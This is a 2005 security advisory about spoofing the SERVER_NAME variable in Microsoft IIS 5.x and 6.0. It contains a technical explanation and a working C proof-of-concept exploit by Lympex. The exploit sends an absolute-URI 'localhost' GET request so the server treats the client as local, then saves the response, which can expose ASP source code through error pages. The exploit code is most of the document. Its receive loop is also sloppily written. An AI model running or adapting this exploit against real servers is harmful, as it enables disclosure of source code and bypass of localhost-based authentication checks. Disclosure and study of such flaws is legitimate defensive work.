Summary
"Internet Information Services (IIS) 6.0 is a powerful Web server that provides a highly reliable, manageable, and scalable Web application infrastructure for all versions of Windows Server 2003."

Lack of proper information validation, allow attackers to gather sensitive information regarding the server by spoofing system variables.

Credit:
The information has been provided by Lympex.
The original article can be found at: http://l-bytes.tk

Details
Vulnerable Systems:
* Microsoft IIS version 5.x
* Microsoft IIS version IIS 6.0

Exploit:
/*
Name: IIS 5.x and IIS 6.0 Server Name Spoof PoC
File: IIS_5.x_and_IIS_6.0_Server_Name_Spoof.c
Description: Proof of concept
Author: Lympex
Contact:
+ Web: http://l-bytes.tk
+ Mail: lympex[at]gmail[dot]com
Date: 25/08/2005
Extra: Compiled with Visual C++ 6.0

#################################################################################
#Remote IIS 5.x and IIS 6.0 Server Name Spoof
#
#It is possible to remotely spoof the "SERVER_NAME" Microsoft Internet Information Server 5.0, 5.1 and 6.0
#server variable by doing a modified HTTP request. Thus potentially revealing sensitive ASP code through the
#IIS 500-100.asp error page, the spoof also opens up a potential range of exploits in third party web
#applications and web services.
#
#Technical Description
#Microsoft IIS 5.x shows sensitive information if the "SERVER_NAME" IIS 5.x server variable is "localhost".
#If a IIS 5.x ASP page has an error, the code on the fault line in the ASP page is shown in the browser,
#but only if"SERVER_NAME" IIS server variable is "localhost". One can spoof the "SERVER_NAME" IIS server
#variable so that it shows whatever one want. Other third party web applications or web services may also
#be vulnerable if authentication depends on the validity this server variable. IIS 6.0 is vulnerable to the
#spoof, but it's 500-100.asp page is not vulnerable.
#
#The IIS server variable that can be spoofed is the "SERVER_NAME", it can be accessed through
#request.servervariables("SERVER_NAME") with ASP, and HttpContext.Current.Request.ServerVariables("SERVER_NAME")
#with .NET, other programming languages have other methods to access this server variable, but are
#equally vulnerable.
#
#If the HTTP request comes from a remote client, then the server variable "SERVER_NAME" returns the IP
#address of the web server itself. If the HTTP request came from the same IP as the web server (thus the
#request came from the an authenticated user browsing from the web server itself), then
#request.servervariables("SERVER_NAME") returns "localhost". This fact is used as "proof" in web applications
#or web services that the person browsing the web server is in fact browsing from the web server itself.
#The web applications or web services may use this proof to display an administrative interface to the web
#browser user if such is the case. One exploitable example is the IIS 5.x 500-100.asp page(Note: the
#IIS 6.0 500-100.asp page is no vulnerable); the page uses the server variable to determine if to display
#the code where the error occurred.
#
#The technical description of the server variable is "The server's host name, DNS alias, or IP address as
#it would appear in self-referencing URLs", it is therefore often used to determine the IP address of the
#web server itself in once code, this opens up for a range of exploits including cookie-stealing, data
#redirection, and other URL manipulation issues.
#
#There are many other applications that utilize validity of this server variable, and MSDN holds many
#examples for developers that are easily exploitable with this bug; among the most serious are the
#Microsoft .NET Passport SDK examples, any web application or web service based on these examples are
#probably vulnerable due to the bug.
#################################################################################
*/

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

//max size to socket buffer
#define LEN_BUF 2048
//socket status
#define Conectado 1868

void main(int argc, char *argv[])
{
/*connect to a host throught a port*/
int Conecta(char *Host, short puerto);
//socket from the connection
int socket;
//to get the data received
char buf[LEN_BUF];
FILE *data;

printf("\n Proof of Concept");
printf("\n IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex");
printf("\nContact: lympex[at]gmail[dot]com - http://l-bytes.tk");
printf("\n----------------------------------------------------\n");

if(argc!=4)
{
printf("\n[+] Usage: %s server.com 80 /test.asp\n",argv[0]);return;
}

//conectamos
socket=Conecta(argv[1],(short)atoi(argv[2]));

if(socket==-1)
{
printf("\n[+] Error connecting to host\n");
return;
}printf("\n[+] Connected!\n");

if((data=fopen("received_data.txt","w"))==NULL)
{
printf("\n[+] Error saving received data\n");
WSACleanup();
return;
}

/*send the EVIL REQUEST*/
strcpy(buf,"GET http://localhost");strcat(buf,argv[3]);strcat(buf," HTTP/1.0\n\n");
send(socket,buf,strlen(buf),0);

//while we aren t disconnected
do
{
buf[recv(socket,buf,LEN_BUF,0)]='\0';
fputs(buf,data);
}while(socket==Conectado);

WSACleanup();
fclose(data);
printf("\n[+] Received data, saved in: \x22received_data.txt\x22\n");
return;
}

/*Connect to a host throught a port - by Lympex*/
int Conecta(char *Host, short puerto)
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
/*estructura con los datos para realizar la conexion*/
struct sockaddr_in Winsock_In;
struct hostent *Ip;

/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

//miramos si est correcto, y as no rellenamos la estructura Winsock_In para nada
if(Winsock==INVALID_SOCKET)
{
/*salimos*/
WSACleanup();
return -1;
}

/*rellenamos la estructura*/
Ip=gethostbyname(Host);
Winsock_In.sin_port=htons(puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));

/*conectamos*/
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
/*salimos*/
WSACleanup();
return -1;
}

return Winsock;
}